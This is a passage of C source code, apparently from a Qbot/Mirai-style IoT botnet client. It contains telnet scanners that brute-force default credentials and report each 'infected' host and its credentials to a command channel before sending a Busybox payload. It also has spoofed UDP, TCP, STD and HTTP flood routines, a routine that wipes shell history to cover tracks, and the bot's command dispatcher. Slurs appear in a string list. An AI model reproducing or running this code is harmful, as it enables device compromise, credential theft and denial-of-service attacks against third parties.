  4247. dest_addr.sin_family = AF_INET;
  4248. dest_addr.sin_port = htons(23);
  4249. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4250. struct telstate_t fds[max];
  4251. memset(fds, 0, max * (sizeof(int) + 1));
  4252. for(i = 0; i < max; i++) {
  4253. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4254. fds[i].complete = 1;
  4255. fds[i].sockbuf = malloc(256 + 1); }
  4256. while(1) {
  4257. for(i = 0; i < max; i++) {
  4258. if(fds[i].tTimeout == 0) {
  4259. fds[i].tTimeout = time(NULL); }
  4260. switch(fds[i].state) {
  4261. case 0: {
  4262. if(fds[i].complete) {
  4263. char *tmp = fds[i].sockbuf;
  4264. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4265. fds[i].sockbuf = tmp;
  4266. fds[i].ip = HackerScan1(); }
  4267. else {
  4268. fds[i].passwordInd++;
  4269. fds[i].usernameInd++;
  4270. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *)) {
  4271. fds[i].complete = 1;
  4272. continue; }
  4273. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *)) {
  4274. fds[i].complete = 1;
  4275. continue;
  4276. }
  4277. }
  4278. dest_addr.sin_family = AF_INET;
  4279. dest_addr.sin_port = htons(23);
  4280. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4281. dest_addr.sin_addr.s_addr = fds[i].ip;
  4282. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4283. if(fds[i].fd == -1) continue;
  4284. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4285. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4286. sclose(fds[i].fd);
  4287. fds[i].complete = 1; }
  4288. else {
  4289. fds[i].state = 1;
  4290. fds[i].tTimeout = 0;
  4291. }
  4292. }
  4293. break;
  4294. case 1: {
  4295. FD_ZERO(&fdset);
  4296. FD_SET(fds[i].fd, &fdset);
  4297. tv.tv_sec = 0;
  4298. tv.tv_usec = 10000;
  4299. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4300. if(res == 1) {
  4301. lon = sizeof(int);
  4302. valopt = 0;
  4303. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4304. if(valopt) {
  4305. sclose(fds[i].fd);
  4306. fds[i].state = 0;
  4307. fds[i].complete = 1;
  4308. } else {
  4309. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4310. fds[i].tTimeout = 0;
  4311. fds[i].bufUsed = 0;
  4312. memset(fds[i].sockbuf, 0, 256);
  4313. fds[i].state = 2;
  4314. } continue; }
  4315. else if(res == -1) {
  4316. sclose(fds[i].fd);
  4317. fds[i].state = 0;
  4318. fds[i].complete = 1;
  4319. continue; }
  4320. if(fds[i].tTimeout + 6 < time(NULL)) {
  4321. sclose(fds[i].fd);
  4322. fds[i].state = 0;
  4323. fds[i].complete = 1;
  4324. }
  4325. }
  4326. break;
  4327. case 2: {
  4328. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
  4329. if(contains_fail(fds[i].sockbuf)) {
  4330. fds[i].state = 0;
  4331. } else {
  4332. fds[i].state = 3; }
  4333. continue; }
  4334. if(fds[i].tTimeout + 6 < time(NULL)) {
  4335. fds[i].state = 0;
  4336. fds[i].complete = 1;
  4337. }
  4338. }
  4339. break;
  4340. case 3: {
  4341. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  4342. fds[i].state = 0;
  4343. fds[i].complete = 1;
  4344. continue; }
  4345. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4346. fds[i].state = 0;
  4347. fds[i].complete = 1;
  4348. continue; }
  4349. fds[i].state = 4; }
  4350. break;
  4351. case 4: {
  4352. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
  4353. {
  4354. if(contains_fail(fds[i].sockbuf)) {
  4355. fds[i].state = 0;
  4356. } else {
  4357. fds[i].state = 5; }
  4358. continue; }
  4359. if(fds[i].tTimeout + 6 < time(NULL)) {
  4360. fds[i].state = 0;
  4361. fds[i].complete = 1;
  4362. }
  4363. }
  4364. break;
  4365. case 5: {
  4366. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  4367. fds[i].state = 0;
  4368. fds[i].complete = 1;
  4369. continue; }
  4370. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4371. fds[i].state = 0;
  4372. fds[i].complete = 1;
  4373. continue; }
  4374. fds[i].state = 6;
  4375. }
  4376. break;
  4377. case 6: {
  4378. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
  4379. fds[i].tTimeout = time(NULL);
  4380. if (contains_fail(fds[i].sockbuf)) {
  4381. fds[i].state = 0;
  4382. } else {
  4383. sockprintf(mainCommSock, "\e[96m[TELNET] \e[97mFound And Infected A Telnet \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4384. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4385. fds[i].state = 7;
  4386. } continue; }
  4387. if (fds[i].tTimeout + 6 < time(NULL)) {
  4388. fds[i].state = 0;
  4389. fds[i].complete = 1;
  4390. }
  4391. }
  4392. break;
  4393. case 7: {
  4394. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4395. fds[i].state = 0;
  4396. fds[i].complete = 1;
  4397. continue; }
  4398. fds[i].state = 8;
  4399. }
  4400. break;
  4401. case 8: {
  4402. fds[i].tTimeout = time(NULL);
  4403. //sockprintf(mainCommSock, "[ TELNET ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4404. //sockprintf(mainCommSock, "[ TELNET ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4405. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4406. sclose(fds[i].fd);
  4407. fds[i].state = 0;
  4408. fds[i].complete = 1;
  4409. continue; }
  4410. fds[i].complete = 3;
  4411. if(fds[i].tTimeout + 60 < time(NULL)) {
  4412. if(fds[i].complete !=3){
  4413. }
  4414. fds[i].state = 0;
  4415. fds[i].complete = 1;
  4416. }
  4417. break;
  4418. }
  4419. }
  4420. }
  4421. }
  4422. }
  4423. void MiraiHackaShit() {
  4424. char buf[128];
  4425. int max = 256, i, res, valopt;
  4426. fd_set fdset;
  4427. struct timeval tv;
  4428. socklen_t lon;
  4429. srand(time(NULL) ^ rand_cmwc());
  4430. struct sockaddr_in dest_addr;
  4431. dest_addr.sin_family = AF_INET;
  4432. dest_addr.sin_port = htons(23);
  4433. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4434. struct telstate_t fds[max];
  4435. memset(fds, 0, max * (sizeof(int) + 1));
  4436. for(i = 0; i < max; i++) {
  4437. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4438. fds[i].complete = 1;
  4439. fds[i].sockbuf = malloc(256 + 1); }
  4440. while(1) {
  4441. for(i = 0; i < max; i++) {
  4442. if(fds[i].tTimeout == 0) {
  4443. fds[i].tTimeout = time(NULL); }
  4444. switch(fds[i].state) {
  4445. case 0: {
  4446. if(fds[i].complete) {
  4447. char *tmp = fds[i].sockbuf;
  4448. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4449. fds[i].sockbuf = tmp;
  4450. fds[i].ip = HackerScan1(); }
  4451. else {
  4452. fds[i].passwordInd++;
  4453. fds[i].usernameInd++;
  4454. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *)) {
  4455. fds[i].complete = 1;
  4456. continue; }
  4457. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *)) {
  4458. fds[i].complete = 1;
  4459. continue;
  4460. }
  4461. }
  4462. dest_addr.sin_family = AF_INET;
  4463. dest_addr.sin_port = htons(23);
  4464. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4465. dest_addr.sin_addr.s_addr = fds[i].ip;
  4466. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4467. if(fds[i].fd == -1) continue;
  4468. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4469. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4470. sclose(fds[i].fd);
  4471. fds[i].complete = 1; }
  4472. else {
  4473. fds[i].state = 1;
  4474. fds[i].tTimeout = 0;
  4475. }
  4476. }
  4477. break;
  4478. case 1: {
  4479. FD_ZERO(&fdset);
  4480. FD_SET(fds[i].fd, &fdset);
  4481. tv.tv_sec = 0;
  4482. tv.tv_usec = 10000;
  4483. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4484. if(res == 1) {
  4485. lon = sizeof(int);
  4486. valopt = 0;
  4487. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4488. if(valopt) {
  4489. sclose(fds[i].fd);
  4490. fds[i].state = 0;
  4491. fds[i].complete = 1;
  4492. } else {
  4493. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4494. fds[i].tTimeout = 0;
  4495. fds[i].bufUsed = 0;
  4496. memset(fds[i].sockbuf, 0, 256);
  4497. fds[i].state = 2;
  4498. } continue; }
  4499. else if(res == -1) {
  4500. sclose(fds[i].fd);
  4501. fds[i].state = 0;
  4502. fds[i].complete = 1;
  4503. continue; }
  4504. if(fds[i].tTimeout + 6 < time(NULL)) {
  4505. sclose(fds[i].fd);
  4506. fds[i].state = 0;
  4507. fds[i].complete = 1;
  4508. }
  4509. }
  4510. break;
  4511. case 2: {
  4512. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
  4513. if(contains_fail(fds[i].sockbuf)) {
  4514. fds[i].state = 0;
  4515. } else {
  4516. fds[i].state = 3; }
  4517. continue; }
  4518. if(fds[i].tTimeout + 6 < time(NULL)) {
  4519. fds[i].state = 0;
  4520. fds[i].complete = 1;
  4521. }
  4522. }
  4523. break;
  4524. case 3: {
  4525. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  4526. fds[i].state = 0;
  4527. fds[i].complete = 1;
  4528. continue; }
  4529. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4530. fds[i].state = 0;
  4531. fds[i].complete = 1;
  4532. continue; }
  4533. fds[i].state = 4; }
  4534. break;
  4535. case 4: {
  4536. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
  4537. {
  4538. if(contains_fail(fds[i].sockbuf)) {
  4539. fds[i].state = 0;
  4540. } else {
  4541. fds[i].state = 5; }
  4542. continue; }
  4543. if(fds[i].tTimeout + 6 < time(NULL)) {
  4544. fds[i].state = 0;
  4545. fds[i].complete = 1;
  4546. }
  4547. }
  4548. break;
  4549. case 5: {
  4550. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  4551. fds[i].state = 0;
  4552. fds[i].complete = 1;
  4553. continue; }
  4554. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4555. fds[i].state = 0;
  4556. fds[i].complete = 1;
  4557. continue; }
  4558. fds[i].state = 6;
  4559. }
  4560. break;
  4561. case 6: {
  4562. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
  4563. fds[i].tTimeout = time(NULL);
  4564. if (contains_fail(fds[i].sockbuf)) {
  4565. fds[i].state = 0;
  4566. } else {
  4567. sockprintf(mainCommSock, "\e[96m[TELNET] \e[97mFound And Infected A Telnet \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4568. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4569. fds[i].state = 7;
  4570. } continue; }
  4571. if (fds[i].tTimeout + 6 < time(NULL)) {
  4572. fds[i].state = 0;
  4573. fds[i].complete = 1;
  4574. }
  4575. }
  4576. break;
  4577. case 7: {
  4578. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4579. fds[i].state = 0;
  4580. fds[i].complete = 1;
  4581. continue; }
  4582. fds[i].state = 8;
  4583. }
  4584. break;
  4585. case 8: {
  4586. fds[i].tTimeout = time(NULL);
  4587. //sockprintf(mainCommSock, "[ MIRAI ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4588. //sockprintf(mainCommSock, "[ MIRAI ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4589. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4590. sclose(fds[i].fd);
  4591. fds[i].state = 0;
  4592. fds[i].complete = 1;
  4593. continue; }
  4594. fds[i].complete = 3;
  4595. if(fds[i].tTimeout + 60 < time(NULL)) {
  4596. if(fds[i].complete !=3){
  4597. }
  4598. fds[i].state = 0;
  4599. fds[i].complete = 1;
  4600. }
  4601. break;
  4602. }
  4603. }
  4604. }
  4605. }
  4606. }
  4607.  
  4608. void sendSTD(unsigned char *ip, int port, int secs) {
  4609. int iSTD_Sock;
  4610. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  4611. time_t start = time(NULL);
  4612. struct sockaddr_in sin;
  4613. struct hostent *hp;
  4614. hp = gethostbyname(ip);
  4615. bzero((char*) &sin,sizeof(sin));
  4616. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  4617. sin.sin_family = hp->h_addrtype;
  4618. sin.sin_port = port;
  4619. unsigned int a = 0;
  4620. while(1){
  4621. char *randstrings[] = {"VSzNC0CJti3ouku", "yhJyMAqx7DZa0kg", "1Cp9MEDMN6B5L1K", "miraiMIRAI", "stdflood4", "7XLPHoxkvL", "jmQvYBdRZA", "eNxERkyrfR", "qHjTXcMbzH", "chickennuggets", "ilovecocaine", "666666", "88888888", "0nnf0l20im", "uq7ajzgm0a", "loic", "ParasJhaIsADumbFag", "stdudpbasedflood", "bitcoin1", "password", "encrypted", "suckmydick", "guardiacivil", "2xoJTsbXunuj", "QiMH8CGJyOj9", "abcd1234", "GLEQWXHAJPWM", "ABCDEFGHI", "abcdefghi", "qbotbotnet", "lizardsquad", "aNrjBnTRi", "1QD8ypG86", "IVkLWYjLe", "nexuszetaisacrackaddict", "satoriskidsnet"};
  4622. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  4623. if (a >= 50)
  4624. {
  4625. send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);
  4626. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  4627. if (time(NULL) >= start + secs)
  4628. {
  4629. close(iSTD_Sock);
  4630. _exit(0);
  4631. }
  4632. a = 0;
  4633. }
  4634. a++;
  4635. }
  4636. }
  4637. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  4638. struct sockaddr_in dest_addr;
  4639. dest_addr.sin_family = AF_INET;
  4640. if(port == 0) dest_addr.sin_port = rand_cmwc();
  4641. else dest_addr.sin_port = htons(port);
  4642. if(getHost(target, &dest_addr.sin_addr)) return;
  4643. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4644. register unsigned int pollRegister;
  4645. pollRegister = pollinterval;
  4646. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  4647. if(!sockfd) {
  4648. return;
  4649. }
  4650. int tmp = 1;
  4651. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  4652. return;
  4653. }
  4654. int counter = 50;
  4655. while(counter--) {
  4656. srand(time(NULL) ^ rand_cmwc());
  4657. init_rand(rand());
  4658. }
  4659. in_addr_t netmask;
  4660. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  4661. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  4662. struct iphdr *iph = (struct iphdr *)packet;
  4663. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  4664. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  4665. udph->len = htons(sizeof(struct udphdr) + packetsize);
  4666. udph->source = rand_cmwc();
  4667. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4668. udph->check = 0;
  4669. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  4670. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4671. int end = time(NULL) + timeEnd;
  4672. register unsigned int i = 0;
  4673. while(1) {
  4674. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  4675. udph->source = rand_cmwc();
  4676. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4677. iph->id = rand_cmwc();
  4678. iph->saddr = htonl( getRandomIP(netmask) );
  4679. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4680. if(i == pollRegister) {
  4681. if(time(NULL) > end) break;
  4682. i = 0;
  4683. continue;
  4684. }
  4685. i++;
  4686. }
  4687. }
  4688. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  4689. register unsigned int pollRegister;
  4690. pollRegister = pollinterval;
  4691. struct sockaddr_in dest_addr;
  4692. dest_addr.sin_family = AF_INET;
  4693. if(port == 0) dest_addr.sin_port = rand_cmwc();
  4694. else dest_addr.sin_port = htons(port);
  4695. if(getHost(target, &dest_addr.sin_addr)) return;
  4696. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4697. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  4698. if(!sockfd) { return; }
  4699. int tmp = 1;
  4700. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  4701. in_addr_t netmask;
  4702. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  4703. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  4704. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  4705. struct iphdr *iph = (struct iphdr *)packet;
  4706. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  4707. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  4708. tcph->source = rand_cmwc();
  4709. tcph->seq = rand_cmwc();
  4710. tcph->ack_seq = 0;
  4711. tcph->doff = 5;
  4712. if(!strcmp(flags, "all")) {
  4713. tcph->syn = 1;
  4714. tcph->rst = 1;
  4715. tcph->fin = 1;
  4716. tcph->ack = 1;
  4717. tcph->psh = 1;
  4718. } else {
  4719. unsigned char *pch = strtok(flags, ",");
  4720. while(pch) {
  4721. if(!strcmp(pch, "syn")) { tcph->syn = 1;
  4722. } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
  4723. } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
  4724. } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
  4725. } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
  4726. } else {
  4727. }
  4728. pch = strtok(NULL, ",");
  4729. }
  4730. }
  4731. tcph->window = rand_cmwc();
  4732. tcph->check = 0;
  4733. tcph->urg_ptr = 0;
  4734. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4735. tcph->check = tcpcsum(iph, tcph);
  4736. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4737. int end = time(NULL) + timeEnd;
  4738. register unsigned int i = 0;
  4739. while(1) {
  4740. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  4741. iph->saddr = htonl( getRandomIP(netmask) );
  4742. iph->id = rand_cmwc();
  4743. tcph->seq = rand_cmwc();
  4744. tcph->source = rand_cmwc();
  4745. tcph->check = 0;
  4746. tcph->check = tcpcsum(iph, tcph);
  4747. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4748. if(i == pollRegister) {
  4749. if(time(NULL) > end) break;
  4750. i = 0;
  4751. continue;
  4752. }
  4753. i++;
  4754. }
  4755. }
  4756. int socket_connect(char *host, in_port_t port) {
  4757. struct hostent *hp;
  4758. struct sockaddr_in addr;
  4759. int on = 1, sock;
  4760. if ((hp = gethostbyname(host)) == NULL) return 0;
  4761. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  4762. addr.sin_port = htons(port);
  4763. addr.sin_family = AF_INET;
  4764. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  4765. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  4766. if (sock == -1) return 0;
  4767. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  4768. return sock;
  4769. }
  4770. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  4771. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  4772. char request[512], buffer[1];
  4773. for (i = 0; i < power; i++) {
  4774. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);
  4775. if (fork()) {
  4776. while (end > time(NULL)) {
  4777. socket = socket_connect(host, port);
  4778. if (socket != 0) {
  4779. write(socket, request, strlen(request));
  4780. read(socket, buffer, 1);
  4781. close(socket);
  4782. }
  4783. }
  4784. exit(0);
  4785. }
  4786. }
  4787. }
  4788.  
  4789. void ClearHistory()
  4790. {
  4791. system("history -c;history -w");
  4792. system("cd /;rm -rf ~/.bash_history");
  4793. }
  4794.  
  4795. void RandomPythonRange()
  4796. {
  4797. //GET TO THIS SHIT LATER.
  4798. }
  4799.  
  4800. void processCmd(int argc, unsigned char *argv[]) {
  4801. if(!strcmp(argv[0], "TRANGE")) {
  4802. if(argc < 2 || atoi(argv[1]) == -1){
  4803. sockprintf(mainCommSock, "RANGE <option 0-idk>");
  4804. }else{
  4805. sockprintf(mainCommSock, "Telnet Range %d->%d", telnetrange, atoi(argv[1]));
  4806. telnetrange = atoi(argv[1]);
  4807. }
  4808. return;
  4809. }
  4810. if(!strcmp(argv[0], "TELNET"))
  4811. {
  4812. if(!strcmp(argv[1], "ON"))
  4813. {
  4814. uint32_t parent;
  4815. parent = fork();
  4816. int ii = 0;
  4817. int forks = sysconf( _SC_NPROCESSORS_ONLN );
  4818. int fds = 999999;
  4819. if(forks == 1) fds = 500;
  4820. if(forks >= 2) fds = 1000;
  4821. if (parent > 0)
  4822. {
  4823. scanPid = parent;
  4824. return;
  4825. }
  4826. else if(parent == -1) return;
  4827. for (ii = 0; ii < forks; ii++)
  4828. {
  4829. srand((time(NULL) ^ getpid()) + getppid());
  4830. init_rand(time(NULL) ^ getpid());
  4831. TelnetScanner(100, fds);
  4832. _exit(0);
  4833. }
  4834. }
  4835. if(!strcmp(argv[1], "OFF"))
  4836. {
  4837. if(scanPid == 0) return;
  4838. kill(scanPid, 9);
  4839. scanPid = 0;
  4840. }
  4841.  
  4842.  
  4843. if(!strcmp(argv[1], "SCANNER"))
  4844. {
  4845. int threads = atoi(argv[1]);
  4846. int usec = atoi(argv[2]);
  4847. if(!listFork())
  4848. {
  4849. //sockprintf(mainCommSock, "[TELNET] Starting Fastload.");
  4850. TelnetScanner(usec, threads);
  4851. _exit(0);
  4852. }
  4853. return;
  4854. }
  4855. }
  4856. if(!strcmp(argv[0], "MIRAI"))
  4857. {
  4858. if(!strcmp(argv[1], "ON"))
  4859. {
  4860. uint32_t parent;
  4861. parent = fork();
  4862. int ii = 0;
  4863. int forks = sysconf( _SC_NPROCESSORS_ONLN );
  4864. int fds = 999999;
  4865. if(forks == 1) fds = 500;
  4866. if(forks >= 2) fds = 1000;
  4867. if (parent > 0)
  4868. {
  4869. miraiPid = parent;
  4870. return;
  4871. }
  4872. else if(parent == -1) return;
  4873. for (ii = 0; ii < forks; ii++)
  4874. {
  4875. srand((time(NULL) ^ getpid()) + getppid());
  4876. init_rand(time(NULL) ^ getpid());
  4877. MiraiScanner(100, fds);
  4878. _exit(0);
  4879. }
  4880. }
  4881. if(!strcmp(argv[1], "OFF"))
  4882. {
  4883. if(miraiPid == 0) return;
  4884. kill(miraiPid, 9);
  4885. miraiPid = 0;
  4886. }
  4887. if(!strcmp(argv[1], "FASTLOAD"))
  4888. {
  4889. int threads = atoi(argv[1]);
  4890. int usec = atoi(argv[2]);
  4891. if(!listFork())
  4892. {
  4893. //sockprintf(mainCommSock, "Starting scanner!!");
  4894. MiraiScanner(usec, threads);
  4895. _exit(0);
  4896. }
  4897. return;
  4898. }
  4899. }
  4900. if(!strcmp(argv[0], "MRANGE")) {
  4901. if(argc < 2 || atoi(argv[1]) == -1){
  4902. sockprintf(mainCommSock, "RANGE <option 0-idk>");
  4903. }else{
  4904. sockprintf(mainCommSock, "Mirai Range %d->%d", mirairange, atoi(argv[1]));
  4905. mirairange = atoi(argv[1]);
  4906. }
  4907. return;
  4908. }
  4909. if(!strcmp(argv[0], "PHONE")) {
  4910. if(argc != 2) {
  4911. return; }
  4912. if(!strcmp(argv[1], "OFF")) {
  4913. if(Phonepid == 0) return;
  4914. kill(Phonepid, 9);
  4915. Phonepid = 0; }
  4916. if(!strcmp(argv[1], "ON")) {
  4917. if(Phonepid != 0) return;
  4918. uint32_t parent;
  4919. parent = fork();
  4920. if (parent > 0) { Phonepid = parent; return;}
  4921. else if(parent == -1) return;
  4922. PhoneScanner();
  4923. _exit(0);
  4924. }
  4925. }
  4926. if(!strcmp(argv[0], "MTRANGE")) {
  4927. if(argc < 2 || atoi(argv[1]) == -1){
  4928. sockprintf(mainCommSock, "Mirai Test RANGE <option 0-idk>");
  4929. }else{
  4930. sockprintf(mainCommSock, "Range %d->%d", miraitestrange, atoi(argv[1]));
  4931. miraitestrange = atoi(argv[1]);
  4932. }
  4933. return;
  4934. }
  4935. if(!strcmp(argv[0], "MIRAITEST")) {
  4936. if(argc != 2) {
  4937. return; }
  4938. if(!strcmp(argv[1], "OFF")) {
  4939. if(testmiraiPid == 0) return;
  4940. kill(testmiraiPid, 9);
  4941. testmiraiPid = 0; }
  4942. if(!strcmp(argv[1], "ON")) {
  4943. if(testmiraiPid != 0) return;
  4944. uint32_t parent;
  4945. parent = fork();
  4946. if (parent > 0) { testmiraiPid = parent; return;}
  4947. else if(parent == -1) return;
  4948. MiraiHackaShit();
  4949. _exit(0);
  4950. }
  4951. if(!strcmp(argv[0], "TT")) {
  4952. if(argc < 2 || atoi(argv[1]) == -1){
  4953. sockprintf(mainCommSock, "Telnet test RANGE <option 0-idk>");
  4954. }else{
  4955. sockprintf(mainCommSock, "Range %d->%d", telnettestrange, atoi(argv[1]));
  4956. telnettestrange = atoi(argv[1]);
  4957. }
  4958. return;
  4959. }
  4960. }
  4961. if(!strcmp(argv[0], "TELNETTEST")) {
  4962. if(argc != 2) {
  4963. return; }
  4964. if(!strcmp(argv[1], "OFF")) {
  4965. if(testtelnetPid == 0) return;
  4966. kill(testtelnetPid, 9);
  4967. testtelnetPid = 0; }
  4968. if(!strcmp(argv[1], "ON")) {
  4969. if(testtelnetPid != 0) return;
  4970. uint32_t parent;
  4971. parent = fork();
  4972. if (parent > 0) { testtelnetPid = parent; return;}
  4973. else if(parent == -1) return;
  4974. HackaShit();
  4975. _exit(0);
  4976. }
  4977.  
  4978. }
  4979.  
  4980. if(!strcmp(argv[0], "BCM")) {
  4981. if(argc != 2) {
  4982. return; }
  4983. if(!strcmp(argv[1], "OFF")) {
  4984. if(bcmPid == 0) return;
  4985. kill(bcmPid, 9);
  4986. bcmPid = 0; }
  4987. if(!strcmp(argv[1], "ON")) {
  4988. if(bcmPid != 0) return;
  4989. uint32_t parent;
  4990. parent = fork();
  4991. if (parent > 0) { bcmPid = parent; return;}
  4992. else if(parent == -1) return;
  4993. BCMscanner();
  4994. _exit(0);
  4995. }
  4996. }
  4997.  
  4998. if (!strcmp(argv[0], "HTTP"))
  4999. {
